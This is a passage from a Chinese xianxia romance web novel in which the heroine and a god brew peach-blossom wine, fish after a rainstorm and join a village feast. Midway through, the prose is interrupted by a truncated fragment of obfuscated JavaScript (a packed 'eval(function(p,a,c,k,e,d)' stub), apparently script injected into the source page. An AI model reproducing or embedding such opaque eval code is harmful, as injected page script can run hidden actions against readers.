三四月,正是桃花花开的季节,在这个时间段,村民们便会上山采摘桃花。一部分晒干用来卖给药铺,一部分用来酿酒卖给酒楼,还有一部分便供应给茶楼用来做成各种点心。 今天要干的活便是酿桃花酒了。 酿桃花酒是云隐村流传多年的老手艺,也是凭借着这门手艺,村里的民生才越来越好,逐渐富裕起来。酿酒的糯米是头一天晚上就泡好了的,然后就需要将浸泡好的糯米放入蒸锅中蒸熟,等糯米熟了之后,再将新鲜的桃花花瓣铺在蒸熟的糯米饭上,再续蒸一刻钟的时间。 在这道工序之中,就需要有人守在热灶面前看火。糯米需要大火蒸制,在这中间,柴火更是不能停断的,否则会影响最后的口感。 看火的是村长的媳妇,她长得身宽体胖,较常人来更怕热一些。她坐在炉火前,往炉子里添着柴火,一边添,一边不断用袖子擦着脑门上的汗珠。 秦湘本来是要和沈清桐跟着其他的一些村民去河边清洗桃花瓣,看见村长媳妇脑门上豆大的汗珠,她便犹豫了。想了想,还是走了过去,蹲在那妇人面前,温声道:“大娘,要不让我来看火吧,我不怕热。” 村长媳妇愣了下,又惊又喜,“多谢这位小仙君了,”顿了顿,又道,“可是你会吗?”她是由衷地担心,毕竟瞧着秦湘便像是没干过这活的样子,又想和她换吧,又怕她将火看到熄灭了。 看着妇人眼中的担忧,秦湘笑了笑,拍拍胸脯保证道:“看火有何难,我会的,让我来吧。大娘你就和她们一起去河边洗桃花瓣吧,这里放心交给我。” 闻言,村长媳妇也不多说什么了,连忙道了谢。又见秦湘乖巧地坐在火炉前看着火,心一软,怕她坐着无聊得紧,于是匆匆跑回了屋里,拿了几个糍粑几个红薯塞给她,给她烤着玩。 因此长锦来到晒谷场时,看见的就是这样一幅场景。偌大的晒谷场上,支着两口大铁锅,铁锅里隔水放着两只半人高的大木桶,秦湘坐在一个火炉前,不断用火钳往火炉肚里添着柴火,一群小孩围在她身边。 秦湘添好这个炉子的火之后,又带着火钳走到另一个火炉前,几个小孩看了,也跟着她围了上去。长锦正觉得奇怪,下一秒,便看见秦湘拿着火钳从那火炉中夹出几个白面饼子来,远远看着,倒像是她爱吃的华容团子。 他就站在那里,看着秦湘将从火炉中拿出来的白面饼子放在手心里拍了拍,然后一个饼子分成两半,细细地分给了围在她面前的几个孩子,孩子得了饼子,笑着跑走了,秦湘蹲在原地,看着远处追逐打闹的孩子笑。 长锦就那么看着,突然就觉得这个画面很美好,很温馨。愣怔间,他好像看到了秦湘说的那种人间烟火气,像他停滞了三千年的时光又开始流动了。 “嗯?神君?你怎么来了?师兄呢?田里忙完了?” “嗯,刚刚忙完,他应该是去找沈姑娘去了。”不知过了多久,长锦才挪动着步子,走到了秦湘身边,蹲下。 “哦,这样啊,”秦湘点了点头,从一旁拿过一条小板凳递给他,“给,神君,坐坐吧,不要蹲着了。” 长锦便坐在了她的身边,他看了看火炉中燃烧着的熊熊烈火,火中,还架着一个铁丝网,网格上,扔着几个方才他看见的那种白面团子,愣了片刻,他问道:“这是什么?你在烤华容团子吗?” “噗。”秦湘被他逗乐了,没忍住笑出声来。见她笑,长锦很懵然,转过头来望着她的脸,认真道:“怎么了?这不是你爱吃的华容团子吗?长得很像啊,都是白白胖胖的。” “不是啦,这叫糍粑,虽然华容团子和它都是用糯米做的,但是不算是同一种东西,”秦湘笑道,“而且华容团子有馅,糍粑没有。”说完,她又颇为意外地看向长锦,惊奇道,“这么说来,难道神君你不认识糍粑吗?你们那个时候没有这个东西?” 长锦想了想,摇摇头:“应该是没有的,我没有见过。” 秦湘想了一想,也是,毕竟三千年了,谁知道糍粑是从什么时候开始才有的呢,长锦没见过也是应该的。顿了片刻,她又拿过火钳伸进炉子中,将铁网上的糍粑一个一个地翻了个面,又戳了戳,其中有一个在火气的催促下渐渐鼓胀起来,表皮微微鼓起,像一个大包子似的。 “好了,这个熟了。”她一笑,将那个膨胀的糍粑夹了出来,轻轻一拍,表皮破碎,一股热气升腾,可见雪白内里,软糯清香。她吹了吹,待它稍凉了些了,才将其一分为二,然后递了一半给长锦,“给,神君,尝尝吧。” 长锦接了过来,雪白色的内里散发着丝丝热气,吃起来绵软香甜。秦湘见他吃得很香,嘴角也不自觉扬起,忍不住问道:“怎么样?还不错吧?” 长锦点点头,“嗯,不错,很香甜。” “在我们这里,这是过年才会做的东西,寓意为团圆幸福吉祥和丰收。冬日里最常见的吃法就是这样了,”秦湘坐在他身边,也咬了一口手中的糍粑,“大家围在一起,烤火烤糍粑,又暖和又好玩,偶尔我们还会烤橘子,烤栗子,烤红薯之类的,哈哈哈哈,反正就是很好玩。” “嗯,这个寓意很好,”长锦道,“听你这么说着就感觉很有趣了。” “是吧,那等今年冬天过年的时候,我带神君一起好好体验一番。” 本来是一句很让人憧憬的话,可长锦听见这句话,眸中的神色却暗了一暗,他看着手中香软暖人的糍粑,很久都没有说话。 秦湘坐在一旁哼哧哼哧地吃着糍粑,半晌却没有听见身边的人搭话,她转头去瞧,看见长锦垂着眼帘,火光在他眼中倒映着,而他愣愣地盯着手中的糍粑和炉子中的火光,说不出的落寞。 “怎么了?神君?”秦湘心头一怔,连忙道,“怎么突然这副神情?” “秦湘,”长锦摇了摇头,一声叹息,“我不知道我在人间的日子还有多久,还能不能等到今年过年,也许我不能和你一起烤糍粑烤橘子了。” 闻言,空气陷入了一时的沉寂,秦湘看着他,身体一僵,耳边只有炉火中柴火噼里啪啦的声音和远处孩童追逐打闹嬉笑的声音。愣了许久,她才眨了眨睁得酸痛的眼睛,转过头,盯着炉子里的火光看,她拿着火钳拨弄着炉子里的糍粑,最后,她才平静地开口。 “是我说错了,糍粑什么时候都能烤,只要想烤,不一定要等到过年。未来是个未知数,没到发生时,谁也不知道会发生什么变化。” 她深吸一口气,转头看向长锦,扯出一个笑容来:“所以神君不用这么悲观呐,快乐的时候就想着快乐的事情就好了,就算知道未来某一天的结局,可是它还没来不是,不要让它影响了你这一时的心情,毕竟快乐也是过,不快乐也是过,不如开心地过。” 长锦沉默片刻,转而看着她明媚的脸,忽然就垂眸笑了:“也是,你说得对。” “是吧,所以神君就不能想这么多,真的会很累的,你瞧,方才这一会儿,就浪费了。” “嗯?浪费了什么?” “时间呐,”秦湘笑了笑,“浪费了快乐的时间。” 长锦知道她是在哄他,于是也笑了笑,顺着她的话接了下去,“那怎么办?” 秦湘想了想,看着火炉中又一个鼓起来的糍粑,她拿起火钳将糍粑取了出来,捏在掌心拍了拍灰,等到温度适宜了,再一分为二,递了一半给他,认真道:“那就罚你再吃半个。” 闻言,长锦轻笑一声,“秦湘,你好幼稚。”虽然话是这么说着,但他还是接过了她递过来的那半个糍粑,拿在手里,暖意也从指尖渐渐地沁入了心底。 糯米蒸熟了之后,沈清桐和周楚闵也跟着众人从河边回来了。村长媳妇拿了条板凳放在锅炉边,然后站在上边揭开木桶盖给蒸熟的糯米饭上面铺桃花,铺好后再复蒸一刻钟,便可以开始准备混合和酿制桃花酒了。 周楚闵和村里的几个精壮汉子合力将铁锅里的木桶抬了出来,村里的大娘们用干净的器皿将木桶中的糯米饭分装舀了出来,然后要做的就是将蒸熟的糯米和桃花瓣混合,再加适量的凉白开水降温,搅拌均匀。 秦湘端着一旁放着的桃花瓣正准备加进面前的糯米里,手才刚刚抓上,便被一旁正在搅拌的村长媳妇眼疾手快地阻止住了:“哎哎哎,小仙君,等一下,等一下。” “怎么了?”秦湘停下了手里的动作,抬起头来看向她。 “这个不可以加进里面去,要拿那一边的桃花瓣才可以。”村长媳妇拿过秦湘手中的桃花,又指了指另一边枯树枝桠上 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知道她们是怕她尴尬,在给自己找事情做。秦湘想了想,这边自己确实也帮不上忙,还容易出错,于是便点了点头,朝着另一边的一张小桌子走去。 当长锦与周楚闵搬完水回来后,就看见秦湘坐在小桌子旁,手里端了个擂钵,又从一旁拿了几粒酒曲丢进去,然后拿着擂持一下一下地将酒曲研磨成了粉末。 “在磨酒曲?”长锦走了过去,在她身边坐下。 “是啊。”秦湘语气有些低落,刚好磨好最后几颗,就有村民过来找酒曲了,秦湘将磨好的酒曲递给她,然后支着手臂托着腮看着那边,看了一会儿,然后叹了一口气。 察觉到她的神情,长锦柔声道:“怎么了?怎么不高兴。” 秦湘摇摇头,闷声道:“没有不高兴。” 长锦揉了揉她的脑袋,“你的表情都写在脸上了,所以到底怎么了,说来听听。” “我不会酿桃花酒,帮不上她们的忙,刚刚还差点毁了一锅糯米。” “就因为这样?你又不是故意的,没有人怪你,”长锦温声道,“而且不会可以学呀。” 秦湘眼睛亮了亮,旋即又暗淡了下来,她对自己还是有着很准确的认知度的。对她来讲,其他什么都很容易学会,但是唯独在做吃的上面,就很难,烤点什么不用技术含量的东西还可以,一旦上了点复杂难度,她就铁定学不会,明明也是按照步骤来的,但是做出来的就是不一样,她也不知道为什么,是中间哪个环节出了差错。 思索一番,于是她道:“还是算了吧,要是真的毁了大家辛辛苦苦的心血就不好了。” 长锦也顿了顿,道:“那你想学吗?” “想呀,”秦湘点头,越不会什么就越喜欢干什么,她爱吃,闲暇时候也爱捣鼓做菜,可惜她只做过一回秦叙就把厨房锁起来了,这个动作深深地伤害了她一颗想下厨的心。她叹了一口气,继续道,“可是我很笨的,学不会,每次下厨爹爹都会把我赶出去。” “没事,你想的话,我教你。”长锦说着,便起身朝着那边走去。 秦湘不知道他要干什么。目光追随着他而去,她看着他走过去与一个大娘交涉了一番,然后大娘笑着点了点头,从一旁拿过一个干净的小盆分装了些糯米和一只干净的器皿递给他,长锦也笑着道了谢,才端着那些东西来到秦湘面前。 秦湘看着摆放在面前的糯米和桃花,愣了愣,问道:“神君,你这是?” “你不是想学酿桃花酒又怕毁了大家的心血吗?不和大家一起酿就好了,我问那个大娘要了些材料来,你现在可以放心学了。”长锦边说着,边又端了两碗干净的凉白开水过来。 秦湘简直惊呆住了,她看着面前的材料,又抬头看看身旁做好了准备工作的长锦,她忍了一忍,最终还是没忍住,将心中一直好奇的那个问题问了出来:“神君,你怎么会干这么多事情啊?你又会插秧,又会搭蔬菜架,还会酿酒,三千年前的少主也需要做这些事情的吗?” 看着她认真发问的神情,长锦一顿,轻笑一声。像是很久很久之前的记忆被启封了一般,他目光柔和,温柔地看着她,笑道:“少主自然是不用做这些事情的。” 秦湘更好奇了:“那你是怎么懂这么多的?” “是我母亲,”长锦笑道,“母亲喜欢出门走动,小时候她就常常带我出门踏青,拜访城中百姓,看着田垄间忙碌的百姓,次数一多,我便也看会了。” 秦湘了然地点点头:“原来如此,我还以为……” “以为什么?” “没什么,没什么,”秦湘赶紧摇头,转移话题,“哎,神君你不是要教我酿桃花酒吗?那我们快开始吧。” 45.春游一记 教秦湘酿桃花酒,长锦教得很认真,就算秦湘动作再笨拙,他也没有笑话她。整个过程中,秦湘都要被自己蠢笑了,可长锦却还是很有耐心地指导着她。 “不用这么着急地放酒曲,”长锦将她手中拿着的小碟子接了过来,“糯米的温度还没有完全降下去呢,再等一会儿吧。” “为什么要等糯米放凉了才能加酒曲呀?”秦湘是真不懂。 “因为太热了就会将酒曲的作用融化,失去了作用,这酒没了酒曲,自然就坏了。” 秦湘点点头,“原来如此,明白了。” 两人坐着等了一会儿,长锦走到了水井边,打了一盆水端了过来,“先过来洗个手吧,等下要用手直接抓,得洗干净先。” “好。”秦湘应了,走了过去蹲下来,洗了手后,长锦又递了一块干净的布巾给她,“擦手?” 秦湘接过布巾,将手上的水珠擦干净,这才坐下,举起双手,满眼兴奋地看向他:“我准备好了,神君,我们是不是可以开始酿酒了?” 长锦将手指放在糯米上感受了一下温度,顿了顿,笑着点点头,“嗯,可以了,一颗酒曲发酵三斤糯米,所以你放这些就可以了,将它铺上去,然后把糯米搅拌均匀。”他说着,将一旁装着酒曲的小碟子递给她,“来,你来试试,我就在旁边看着你。” “嗯,好的。”秦湘跃跃欲试,接过他递过来的小碟子就按照着他说的步骤来做,长锦是真的对她很有耐心,不仅教导着她,还会适当地夸她,整得她整个人都被他夸得有些飘飘然了,飘着飘着,竟就真的生出了一种这次一定会成功的斗志来。 “神君,我拌好啦。”秦湘拍了拍面前被她均匀揉搓好的桃花糯米,笑着看向长锦。 “真棒。”听着长锦的话,秦湘顿了顿,脸瞬间就红了,看着面前笑意盈盈的长锦,她连忙转回了脑袋,“神君你莫要再哄我了,我不是小孩儿了,我要是搅拌个糯米都搅不好,我就是傻子了。” “做得好就是要夸夸呀,”长锦从一旁又拿了个宽口小酒坛子递给她,“好了,现在可以将糯米放进去了,要压紧一点才好发酵,等压好后中间掏个出酒窝就可以盖上了。” “好。”秦湘又乖乖巧巧地应了,然后接过那个小酒坛子搁在面前,将盘子中的混合好酒曲的桃花糯米一点一点地塞进了坛子里,然后压紧压紧,做完这些后,又接过长锦递过来的小木棒子在压紧的糯米中间掏了个洞,她问他,“这样就好了吗?” 长锦点头:“是的,盖起来,密封上,等下和她们的一起放到酒窖里面去就好了。” 做完了这整个全过程,秦湘看着面前这个可爱圆滚的小酒坛子,心中是满满的成就感,她双手合十,抚掌笑道:“原来如此简单,这是我第一次完整的,每一步都清清楚楚地做吃的东西,真期待酒酿好的样子。” 对于自己这第一次酿的目前看上去还是非常完美的这个小酒坛子,秦湘确实是非常非常在意且期待的。她抱着自己的小酒坛子,跟着其他众人酿的一起,放到了酒窖里去。 都已经在酒窖里放好了,秦湘帮着村民端其他酒坛来存放时,一双眼睛却还老往这边看,站远了看,走近了还要看,好像多看几眼,它就能立马发酵好,变成那完美成功的桃花佳酿一样。 跟着她一起进来的村长媳妇看见秦湘的动作,被她逗得一乐:“哎哟,这位小仙君真可爱,你今天就算蹲在这里看它一整天,它也不会变成酒的啦。” “嘿嘿,”秦湘也不好意思地摸了摸鼻子笑了笑,“这是我第一次自己酿酒,所以一时有些激动,失态了,让你见笑。” “哎唷,没事没事,有什么好见笑的,”村长媳妇摆摆手,“这个起码要发酵三四天,小仙君如此在意,到时候等酿好了你带走就是了。” “可以吗?”秦湘立马变成星星眼,望向她。她本来就是想到时候花些银钱将自己酿的这坛酒买下带走的,但是还没想好该如何与她们说,现如今她自己主动提起,秦湘心中自然欢喜。 “当然可以啦,一坛酒而已,又不是什么贵重东西,只不过是小仙君自己酿的就更有纪念意义了,既然小仙君想要,自然可以将它带走。” 秦湘的喜悦都要溢出眼眸了,她弯弯眼睛,笑道:“好,谢谢谢谢,那我到时候付银钱给你。” 一听她要付钱,村长媳妇急了:“不用不用,哪里还需要银钱,你们帮了我们这么多忙,一坛酒,就当是我送给你的谢礼了。” 一听她不要钱,秦湘更急了:“不行不行,谢是谢,买是买,这些天是在村里帮忙没错,可是我们吃住也是在村里呀,你要是不收钱,我要是白拿你的酒,回去爹爹就要罚我抄门规了,所以你就收下吧。” 最终还是拗不过秦湘,村长媳妇只能一边应下了她一边答谢。 插完了秧苗,这几天众人的任务便就是酿桃花酒了,随着桃花酒的酿完,他们这一趟务农委派任务也算是快要到达尾声了。 日子过得平淡又温馨。委派任务的最后一天,村长带着几个精壮的汉子将之前酿好的桃花酒整整齐齐地装满了两牛车,秦湘一行人走了过来,看着面前的的酒,周楚闵笑道:“村长,就是这些了?” 村长扯了张防水布盖在酒坛上,点点头,“是了,就是这些了,劳烦几位仙君将它们送到镇上西街的张记酒楼里,”他说着,又接过一旁一个村民递过来的两包包裹好的干桃花,塞在酒坛中央的空隙中,“然后这两包干桃花就送到东街的永安堂药铺里。” “行,我们记下了。”周楚闵点了点头,他与沈清桐坐上了一辆牛车,秦湘与长锦便坐上了另一辆牛车,一手拉着绳子,一手拿着根小木棍,就拉着两头老黄牛掉转了个方向,悠悠地朝着村口处走去。 村长站在村口目送他们,一边看,一边喊:“晚上村里准备了酒席,仙君们记得要早些回来啊。” “好的,我们知道了,村长你回去吧。” 牛车不比马车,走起来速度缓慢,但优点是平稳性好,尽管速度慢,但是遇见那种陡峭的山石子路,乘坐体验感还是非常不错。对于平常骑马骑习惯了的几人,偶尔坐一回牛车,倒也是一次新奇的体验。 从云隐村去镇上路程不算远,大概八里路,驾驶牛车也就半个多时辰便能到了。几人边聊边走,却未曾料到天公不作美,走到半路,竟下起了一场春雨来。 没辙,无论是酒还是桃花,都是经不起雨打的东西。几人一商量,便在山脚下找了个半大的山洞避雨,等雨停了之后,再接着赶路,只是没想到,这一等,便是一个时辰过去了。 秦湘站在山洞洞口处,看着外面分毫不见小的雨幕,她的肚子也不合时宜地在这时响了起来,与此同时,站在她身边的一头老黄牛也应声哞哞叫了两声。 秦湘摸了摸自己早已打鼓的肚子,又摸摸身旁凑过来亲昵地蹭她脸颊的老黄牛,可怜兮兮地朝着周楚闵哀嚎了两声:“师兄,我好饿啊。” 周楚闵摸了摸怀中,因为没有预料到这天会下雨,所以他什么吃的也没带,半晌,只能无奈地摊手笑道:“阿湘,你再忍忍吧,等这雨小些了,我们就去河边抓鱼去,方才我瞧见了那小路下边有条河流。” “好。”秦湘点了点头,如今除了忍一忍,还能有什么办法呢。 沈清桐掏了掏锦囊,从中摸出来了两块枣泥花糕递给她,温声道:“阿湘饿的话就先暂时用这个垫垫肚子吧,等会儿雨停了就好了。” “谢谢清桐姐姐,”秦湘伸手接过,将两块糕点都一分为二,然后又递回去给了一人一块,“我饿你们肯定也饿,所以我们大家一人一点吧,先将就一下。” 众人也没有再拒绝了,接了秦湘递过来的糕点,坐在牛车上边看雨幕边慢慢啃着。 又等了半个时辰,大雨渐小,由小转停,雨来得快,去得也快,停了不消片刻,天空中的乌云便散去了,柔柔的阳光洒满大地。 雨后的阳光格外地明媚,秦湘站在山洞洞口,双手遮在眼前,眯着眼睛看着蓝天上的太阳,她走出两步,惊奇地朝着身后几人喊道:“你们快出来看呀,有彩虹!” 众人闻言,拉着老黄牛也走出了山洞,抬头一看,阳光透过云层,湛蓝的天空上,果真挂着一道绚丽多彩的彩虹,七色分明,瑰丽缤纷,宛如天空绽放出的微笑,格外醒目。 沈清桐揉了揉她的头发,温柔道:“说明我们今天会有好运气的。” “嗯嗯,”秦湘回头,莞尔一笑,“是的,走吧,我们去河边吧。” 一路的好风光,令几人心旷神怡,拉着老黄牛缓步来到了小河边。周楚闵用刚从山洞里捡的一堆干柴禾在小河边生了一堆火,然后几人就分工合作,周楚闵和沈清桐去周边转转,看看附近有没有什么野兔野果子,秦湘和长锦就留在原地,负责看火和抓鱼。 与周楚闵沈清桐说了再见后,秦湘就将两头老黄牛拉在河边一块草坪地里喂它们吃草,拴好绳子后,她拍了拍手,就准备去河边抓鱼,她脱了鞋袜,正准备下河去,一转头,看见长锦也挽着袖子准备跟着她一起下去,她一愣,连忙阻止道:“啊,神君,我一个人来就好了,你去守着火吧。” 虽然这些日子看长锦干活干习惯了,可当时是在云隐村里,也是她腰负伤了的情况之下,如今她能动能跳,一切都好,又怎么好意思再让他来干这种费力的活,不管怎样,他到底还是个神啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻言,长锦轻咳一声,回了正形,半晌,才道:“好了好了,不笑了,我来教你吧。” “嗯?什么?”秦湘还在和自己怄气,一时没听清他说的话,于是抬眼看向他。 长锦双手笼袖,笑眯眯地看着她,温柔道:“我说我从小就特别会看鱼,每次母亲带我出门的时候,只要有去河边,我一看哪条鱼,我就知道它好不好捉。” “如此神奇?”秦湘挑了挑眉,表示不相信,“我不信,神君你哄我的吧?” “信与不信,你一试便知,”长锦说着,看向了河水中,他盯着其中一条鱼儿,那鱼上一秒还在水中快速地游动着,下一秒却如同吃了昏睡粉一般,慢悠悠懒洋洋地在水中游荡着。他笑了笑,又朝着继续秦湘道,“你右脚旁边第五条,那条好抓,你试试。” 秦湘半信半疑地朝着他说的方向看去,长锦说得对,那条鱼确实好抓,何止好抓,简直就像是自己送上门来的。她看着那条胖鱼自己摇摇晃晃,穿过潺潺流动的河流,来到了她的面前,她才刚弯腰将手放到水中,那鱼就迫不及待地冲进了她的手掌心之中。 “……”秦湘将它抓起来,一人一鱼四目相对良久,就在长锦都以为是不是她看出什么了的时候,她动了,她将它随手一抛,又丢回了河水中。 长锦被她的动作整得一愣,顿了顿,才笑着问道:“怎么了?这条不行吗?” 秦湘看着他,一脸认真道:“不行,这条这么蠢,没脑子,哪有自己送上门来的,这么蠢的鱼等下吃了也变傻怎么办?” 长锦一听,哭笑不得,半晌,点点头赞同道:“也是,那我们换一条捉。” 在长锦这一项所谓的“看鱼准”绝活的指点下,秦湘也渐入佳境,两人一个边说一个边配合,转眼,没一会儿,便捉上了好几条还活蹦乱跳的大胖鱼。 秦湘手中抓着一条鱼,脸上被乱拍的鱼尾溅起一脸的水花,她晃了晃脑袋,将眼睛上的水珠甩掉,然后满脸笑意地站起身来回头去看长锦,“神君,你看……” 你看什么?秦湘没有再说出来了。她怔怔地站在原地,手中握着那条鱼,心头一颤,呼吸一滞。 河岸上,长锦坐在那里,目光一直在她身上,两人目光一触,他反而笑得更温和了。秦湘被他这温润的、坦白的、炽热的、不加任何掩饰的目光看着,突然就觉得自己如今的情况就像她手中握着的这条鱼一样,溺进了长锦的眸子里,再也不能脱身。 她僵着身体,默默地转回了脑袋,半晌,又转了过去,然后毫不意外地又对上了长锦含笑的眼眸。秦湘不知为何,却被他看得头皮心头酥麻,脑中也不受控地又想起了前几晚那面对长锦的怪异感觉来,还有沈清桐说的那些关于腾岳之巅的传言…… 席清长老对所有人都冷淡淡,唯独对她温柔地不像话…… 阿湘,你是不是喜欢席清长老…… 沈清桐温柔的嗓音在她脑海中不合时宜地响起,秦湘的脸霎那间便涨得通红,背上也激起了一层冷汗,她猛地挪开视线,晃了晃脑袋,心中悚然。 怎么回事?当真是疯了不成?! 46.竹圈游戏 在这之后,秦湘便对长锦莫名有些躲避,她不敢再对上他的视线了,她有些后怕,一对上他的视线她就忍不住乱想,然后自己给自己激起一身的鸡皮疙瘩。 有些克制之后的秦湘便显得沉默了,没有平常那么活泼了,明明两个时辰前就在喊饿的她,如今看着面前烤得香脆金黄,肉香四溢的野兔烤鱼,竟然没了半分想吃的冲动。她悄咪咪地抬起眼睛,看了看对面坐着的长锦,正巧长锦也看向她,问道:“怎么了?” “没,没什么。”秦湘耳尖又红了,赶紧挪开视线,脑袋晃得跟个拨浪鼓似的。 周楚闵将烤好的野兔用刀分成了几份,又拿荷叶包好,递给沈清桐一份,又递给秦湘一份,“阿湘,快吃,你不是早就说你肚子饿了吗?怎么突然一下就变得这么沉默了?” 听周楚闵这么一说,沈清桐也发现了她的异样,因为如今坐在那里的秦湘比起平时的秦湘,看上去也未免太安静太乖巧了些。她转过头,轻声问道:“是啊,阿湘,你怎么了?怎么这么安静,是哪里不舒服吗?” 看几人的视线都聚集在了她的身上,秦湘顿时感觉不好,连忙轻咳一声,讪讪地笑道:“没有的事,我就是刚刚在发呆,在想事情,好了,好了,现在没事了,别管这个了,肉都熟了,不是都饿了吗?快吃快吃。” 她又恢复成原来的样子,认认真真地举着手中的兔就啃了起来。三人见她如此模样,也就没有再多想了,顿了顿,都开始相对无言地吃着手中的兔和鱼来。 吃饱喝足后,几人休息了一会儿,又收拾了一番,才驾着牛车晃晃悠悠地开始往镇上去。 接下来的一切都很顺利,风和日丽,碧空万里,等他们将桃花酒和干桃花送到西街的酒楼和东街的药铺之后,已经是近黄昏了。晚霞似火,铺满天际,几人在街上晃了晃,采购了些村里村民们需要的东西后,才拉着老黄牛晃晃悠悠地踏上了归途。 晚上,为了感谢几人这些天在云隐村的辛苦劳作,村民们在村里的晒谷场上热热闹闹地摆了十几桌酒席,美酒佳肴,一壶壶一盘盘地端上了桌,月色下,觥筹交错,欢声笑语一片。 对于云隐村的村民来说,周楚闵算是旧相识,所以一开宴,村长便拉着周楚闵去了他那一桌,不好推脱,但是一个人又怕遭不住,所以周楚闵又拖着沈清桐一起去了。 秦湘不喜欢与长辈吃饭,婉拒了两人的邀请,于是便跟着长锦去了小孩的那一桌。虽然下午秦湘看着长锦还有些不自然,但是自己给自己一顿心理梳理之后,秦湘又觉得好些了,一定是因为自己从小就喜欢长锦,所以内心深处对于他对她的亲近是十分期望的,可是当他真的眼中只有她,只对她一个人这么好时,她又觉得有些受不住,与其说是受不住,倒不如说是她不敢想象。 她不敢相信她对长锦的喜欢竟然会有回应,可能长锦对她的好真的只是因为她对他好而已,并没有其他的什么意思,可她却自己忍不住多想,多想,然后自己让自己溺进去了。 是的,她认为一切都是自己想多了,她不能再多想了,她要用正常的眼神来看待长锦,她对长锦的喜欢只是从小对偶像的崇拜而已,而长锦对她的好,也只是将心比心,一定是受腾岳之巅那些传言还有沈清桐的话的影响,她才会这样的。 绝对不能多想,一多想,他们之间的感情就会变质,一变质,等下长锦觉得她太自恋了可还得了?等下要是觉得她太自恋了然后就此讨厌她疏远她那就更不得了了!!她不能让这样的事情发生,绝对不允许它发生!! 于是在这样一通自我心理疏导后,秦湘就压下了心中那些不安分的悸动,等她再次抬眼对上长锦那温柔的目光之时,果然,就正常多了,她终于想明白了,一切就是她想多了。 所以回归正常后的秦湘又活蹦乱跳起来了,再次和长锦坐在一桌吃饭,也没有再躲闪他目光的行为发生了。她坐在他身边,吃嘛嘛香,她要把中午失去的食欲都补回来。 “桃花酥来咯——”一顿饭吃到过半,后厨忙活着的大娘端着一个大木托盘出来了。托盘上边,摆满了精致粉嫩状若桃花的糕点,表皮酥脆香甜,内馅细腻软绵。一出场,就惊艳了众人的目光,刚摆上桌,同桌的小孩便两眼放光,筷子甩得飞快,争先恐后地抢了起来。 秦湘咬着筷子抱着碗抬头,看着桌上那盘只剩两个的桃花酥,愣了愣,抿着嘴盯着它们,却没有了动作。 桃花酥啊……那是阿娘最喜欢吃的东西…… 她盯着那只盘子,眼前模糊,渐渐地陷入了一时的愣怔。直到一双筷子夹着一块粉嫩精致的桃花酥放在了她面前的碗里,她才猛然回过劲来,眼神逐渐聚焦,她看了看自己的碗中,又转头往旁边看了看,长锦刚好放下筷子,见她看过来,便轻声道:“还有一个,我见你一直盯着它,吃吧。” 秦湘顿了顿,又转过头来看着面前碗里的桃花酥,半晌,才道:“其实这桃花酥是我阿娘最喜欢的东西。”她小声地说着,也许是突然看见了这熟悉的东西,秦湘一时没忍住,鼻头一酸,嘴唇一抿,视线就控制不住地模糊了。 关于秦湘阿娘杜元霜的事情,长锦只是细碎地知道一些,知道她在秦湘很小的时候就因为意外去世,知道腾岳之巅北峰禁地是她生前故居,也是她的长眠之地,除此之外,他并不了解。 所以见到秦湘握着筷子抱着碗泪眼模糊的模样,他也不知该如何安慰她是好,只能伸手轻轻地拍了拍她的肩膀。秦湘由着自己就这么呆了会儿,一阵夜风袭来,她眼眶中的泪水终于抑制不住了,被风一吹,潸然落下,视线由模糊转为清晰,她吸了吸鼻子,半晌,转头朝着长锦笑了笑,“我没事,就是突然触景伤情罢了。” “没事了?”长锦望向她,眼神里都是担忧。 “嗯嗯,是的,我早就已经认清现实了,”秦湘点点头,将那块平安锁握在手心里,良久,淡淡道,“而且阿娘没有离开我,只要我还记得她,她就会一直陪在我身边的。” 秦湘说着,一双杏子眼中尽是温软柔和,这样的她,更是让人觉得又可怜又可爱。 吃过晚饭,村民们玩起了游戏,这游戏有点像贵族宴饮上的投壶游戏,和腾岳之巅长期霸占排行榜榜单第一的投飞镖游戏也有点相像。他们在地上摆了一根长长的竹竿子当作标准线,挑战的人站在竹竿子这头,而另一头的地面上则摆满了各种各样的彩头,只需要拿着特制的竹圈去套竹竿那边的彩头,套中哪一个就可以直接将那一个抱回家。 村长喝了点小酒,有点儿上头,面色潮红地站在竹竿旁边,手中还拿着一把细竹面编成的竹圈,高声喝道:“快来看看,来看看,难得摆一回,今晚上可是下了血本的,礼物丰厚,套中直接抱回家。” 他这一吆喝,就吸引了一堆村民过来了,今晚上的彩头确实丰富,除了小孩爱的甜点和玩具外,还有什么新的锅碗瓢盆啊,什么美酒佳酿啊,统统都摆出来了。周围一圈人都满脸笑意,其中一个村民走上来了,站在竹竿前,拿过村长递过来的一打竹圈,就嘻嘻笑道:“村长啊,你今晚上就做好损失惨重的准备吧。” “哼,你先别说大话,好好套,”村长也笑,“你要全套中了我全部送你又何妨,哈哈哈哈。” 那人便投了,第一个圈,没中,他颇为意外,又弯了弯腰,聚精会神伸长手臂投出了第二个圈,又没中,人群中发出一阵唏嘘,第三个,第四个,第五个……直到那人将手中拿着的一把竹圈都扔完了,连离他最近的那壶桃花酿都没有套中。 他有些尴尬,站在那,看着爆发出一阵哄笑的人群,又看着弯腰去捡竹圈的村长,颇有些不甘心道:“村长,你这竹圈子有问题吧,怎么我扔了这么多个,一个都没中啊,是不是你做了什么手脚啊。” “嘿,你这老滑头,耍赖就没得意思了哈,”村长捡起竹圈,抬头笑骂道,“自己准头不行就不要怪圈子嘛,我还能动什么手脚,这圈子不也是过年你们用过的。” “是啊是啊,老陈,要输得起啊,”人群中有人附和道,“不就是没套中嘛,回去练练,等中秋再摆的时候,好好给村长露一手,让我们也瞧瞧你的厉害,哈哈哈哈。” 老陈没得办法,被人群一哄笑,也跟着笑骂了几句,然后便下了场。 周楚闵和秦湘也站在人群里,这种游戏就是他们俩的诱捕器,一看见便就走不动道了,不管如何,都想要上去投两把过过瘾。这时场上刚好轮空,一个小孩拉着母亲的衣摆道:“阿娘,我也想套,我也想套嘛,我想要那个小木马。” 村长捡回地上的竹圈,朝着人群中笑眯眯地说道:“谁还想来试试,如果没人挑战的话,看来今晚上的礼品到最后也只能由我再费力搬回家了。” “我来。”秦湘立刻举手道。 “好,这位小仙君来。”村长笑着拿了几个圈给她,又往旁边走了几步给她让了地方。 秦湘接过圈,举起一个在半空中对着那头比了比,看着是准了,一扔,竹圈却擦着木马的边而过,然后生生地滚落在地,晃荡两圈,彻底不动了,她一顿,又扔了两个,依旧没中。 